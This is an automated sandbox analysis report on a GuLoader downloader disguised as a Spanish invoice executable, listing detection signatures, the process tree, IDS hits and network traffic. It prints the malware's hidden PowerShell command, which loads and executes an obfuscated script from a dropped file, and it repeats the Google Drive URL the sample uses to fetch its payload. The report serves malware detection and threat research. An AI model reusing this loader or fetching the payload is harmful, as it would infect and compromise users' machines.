Edit tour

Windows Analysis Report
factura solicitada..exe

Overview

General Information

Sample name:	factura solicitada..exe
Analysis ID:	1619377
MD5:	6124034fe55707e3ec7a9940b36a2640
SHA1:	fa817c784d46fdcfc065a264713c82f5f53b7288
SHA256:	aa928f80e184381e6cb9e2a8e159334e3494999165cf97bcd71bdfbb61dce2bf
Tags:	exevipkeyloggeruser-malwarelabnet
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Early bird code injection technique detected

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Found suspicious powershell code related to unpacking or dynamic code loading

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Powershell drops PE file

Queues an APC in another process (thread injection)

Suspicious powershell command line found

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Msiexec Initiated Connection

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

factura solicitada..exe (PID: 7680 cmdline: "C:\Users\user\Desktop\factura solicitada..exe" MD5: 6124034FE55707E3EC7A9940B36A2640)

powershell.exe (PID: 7820 cmdline: powershell.exe -windowstyle hidden "$Trafikerer=Get-Content -Raw 'C:\Users\user\AppData\Local\unproselyte\besparelses\Concludence.Cha';$Superego=$Trafikerer.SubString(52777,3);.$Superego($Trafikerer) " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 1300 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2548130895.0000000006223000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000002.00000002.1679281555.000000000AFA3000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 142.250.185.78, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 1300, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49952

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7820, TargetFilename: C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\factura solicitada..exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -windowstyle hidden "$Trafikerer=Get-Content -Raw 'C:\Users\user\AppData\Local\unproselyte\besparelses\Concludence.Cha';$Superego=$Trafikerer.SubString(52777,3);.$Superego($Trafikerer) ", CommandLine: powershell.exe -windowstyle hidden "$Trafikerer=Get-Content -Raw 'C:\Users\user\AppData\Local\unproselyte\besparelses\Concludence.Cha';$Superego=$Trafikerer.SubString(52777,3);.$Superego($Trafikerer) ", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\factura solicitada..exe", ParentImage: C:\Users\user\Desktop\factura solicitada..exe, ParentProcessId: 7680, ParentProcessName: factura solicitada..exe, ProcessCommandLine: powershell.exe -windowstyle hidden "$Trafikerer=Get-Content -Raw 'C:\Users\user\AppData\Local\unproselyte\besparelses\Concludence.Cha';$Superego=$Trafikerer.SubString(52777,3);.$Superego($Trafikerer) ", ProcessId: 7820, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T20:37:08.520779+0100	2803270	2	Potentially Bad Traffic	192.168.2.11	49952	142.250.185.78	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\factura solicitada..exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\factura solicitada..exe	Virustotal: Detection: 63%			Perma Link

Multi AV Scanner detection for submitted file

Source: factura solicitada..exe	Virustotal: Detection: 63%			Perma Link
Source: factura solicitada..exe	ReversingLabs: Detection: 63%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.3% probability

Source: factura solicitada..exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.129:443 -> 192.168.2.11:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.129:443 -> 192.168.2.11:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.129:443 -> 192.168.2.11:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50043 version: TLS 1.2

Source: factura solicitada..exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: powershell.exe, 00000002.00000002.1666098266.0000000002EAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbH' source: powershell.exe, 00000002.00000002.1677760898.00000000086D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000002.00000002.1677760898.00000000086D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000002.00000002.1666098266.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdb source: powershell.exe, 00000002.00000002.1677109512.000000000857B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb# source: powershell.exe, 00000002.00000002.1673164060.0000000007403000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000002.00000002.1666098266.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\factura solicitada..exe	Code function: 0_2_00406091 FindFirstFileA,FindClose,	0_2_00406091
Source: C:\Users\user\Desktop\factura solicitada..exe	Code function: 0_2_0040270B FindFirstFileA,	0_2_0040270B
Source: C:\Users\user\Desktop\factura solicitada..exe	Code function: 0_2_0040562F GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040562F

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.11:49952 -> 142.250.185.78:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
